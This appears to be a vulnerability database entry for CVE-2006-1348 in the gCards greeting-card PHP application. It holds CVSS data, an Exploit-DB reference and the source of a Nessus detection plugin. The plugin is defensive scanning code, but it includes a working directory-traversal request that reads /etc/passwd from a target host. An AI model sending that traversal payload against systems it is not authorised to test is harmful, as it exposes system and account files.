Vulnerabilities > CVE-2006-1348 - Input Validation vulnerability in Gcards 1.43/1.44

047910
CVSS 4.3 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
PARTIAL
Availability impact
NONE
network
greg-neustaetter
nessus
exploit available

Summary

Cross-site scripting (XSS) vulnerability in index.php in Greg Neustaetter gCards 1.45 and earlier allows remote attackers to inject arbitrary web script or HTML via the lang[*][file] parameter, which is injected into an error message. NOTE: this issue might be resultant from CVE-2006-1346.

Vulnerable Configurations

Part Description Count
Application
Greg_Neustaetter
3

Exploit-Db

descriptiongCards <= 1.45 Multiple Vulnerabilities All-In-One Exploit. CVE-2006-1346,CVE-2006-1347,CVE-2006-1348. Webapps exploit for php platform
fileexploits/php/webapps/1595.php
idEDB-ID:1595
last seen2016-01-31
modified2006-03-20
platformphp
port
published2006-03-20
reporterrgod
sourcehttps://www.exploit-db.com/download/1595/
titlegCards <= 1.45 - Multiple Vulnerabilities All-In-One Exploit
typewebapps

Nessus

NASL familyCGI abuses
NASL idGCARDS_DIR_TRANSVERSAL.NASL
descriptionThe remote host is running gCards, a free electronic greeting card system written in PHP. The installed version of gCards fails to sanitize user input to the
last seen2020-06-01
modified2020-06-02
plugin id21168
published2006-04-03
reporterThis script is Copyright (C) 2006-2018 Josh Zlatin-Amishav
sourcehttps://www.tenable.com/plugins/nessus/21168
titlegCards < 1.46 Multiple Vulnerabilities
code
#
# (C) Josh Zlatin-Amishav (josh at ramat dot cc)
# GPLv2
#


include("compat.inc");

if (description) {
script_id(21168);
script_version("1.19");

script_cve_id("CVE-2006-1346", "CVE-2006-1347", "CVE-2006-1348");
script_bugtraq_id(17165);

script_name(english:"gCards < 1.46 Multiple Vulnerabilities");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is prone to
multiple vulnerabilities." );
 script_set_attribute(attribute:"description", value:
"The remote host is running gCards, a free electronic greeting card
system written in PHP. 

The installed version of gCards fails to sanitize user input to the
'setLang' parameter in the 'inc/setLang.php' script which is called by
'index.php'.  An unauthenticated attacker may be able to exploit this
issue to read arbitrary local files or execute code from local files
subject to the permissions of the web server user id. 

There are also reportedly other flaws in the installed application,
including a directory traversal issue that allows reading of local
files as well as a SQL injection and a cross-site scripting issue." );
 # https://web.archive.org/web/20060420020250/http://retrogod.altervista.org/gcards_145_xpl.html
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?862632b7" );
 # http://www.gregphoto.net/index.php/2006/03/27/gcards-146-released-due-to-security-issues/
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?5e89025e" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to gCards version 1.46 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:H/RL:U/RC:ND");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);

 script_set_attribute(attribute:"plugin_publication_date", value: "2006/04/03");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/03/20");
 script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();


summary["english"] = "Checks for directory transversal in gCards index.php script";
script_summary(english:summary["english"]);

script_category(ACT_ATTACK);
script_family(english:"CGI abuses");

script_copyright(english:"This script is Copyright (C) 2006-2020 Josh Zlatin-Amishav");

script_dependencie("http_version.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
	script_require_keys("www/PHP");
exit(0);
}


include("global_settings.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded:TRUE);
if (!get_port_state(port)) exit(0);
if (get_kb_item("Services/www/"+port+"/embedded")) exit(0);
if (!can_host_php(port:port)) exit(0);


if (thorough_tests) dirs = list_uniq(make_list("/gcards", cgi_dirs()));
else dirs = make_list(cgi_dirs());

# Loop through CGI directories.
foreach dir (dirs) {
  # Try to exploit the flaw in setLang.php to read /etc/passwd.
  lang = SCRIPT_NAME;
  req = http_get(
    item:string(
    dir, "/index.php?",
    "setLang=", lang, "&",
    "lang[", lang, "][file]=../../../../../../../../../../../../etc/passwd"
    ),
    port:port
  );
  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
  if (isnull(res)) exit(0);

  # There's a problem if...
  if (
    egrep(pattern:">gCards</a> v.*Graphics by Greg gCards", string:res) &&
    (
      # there's an entry for root or ...
      egrep(pattern:"root:.*:0:[01]:", string:res) ||
      # we get an error claiming the file doesn't exist or...
      egrep(pattern:"main\(inc/lang/.+/etc/passwd\).+ failed to open stream: No such file or directory", string:res) ||
      # we get an error about open_basedir restriction
      egrep(pattern:"main.+ open_basedir restriction in effect\. File\(\./inc/lang/.+/etc/passwd", string:res)
    )
  ) {
    if (egrep(pattern:"root:.*:0:[01]:", string:res))
      content = res - strstr(res, '<!DOCTYPE HTML PUBLIC');

    if (content)
    {
      content = data_protection::redact_etc_passwd(output:content);
      report = string(
        "\n",
        "Here are the contents of the file '/etc/passwd' that\n",
        "Nessus was able to read from the remote host :\n",
        "\n",
        content
      );
      security_hole(port:port, extra:report);
    }
    else
    security_hole(port:port);

    set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);
    set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE);
    exit(0);
  }
}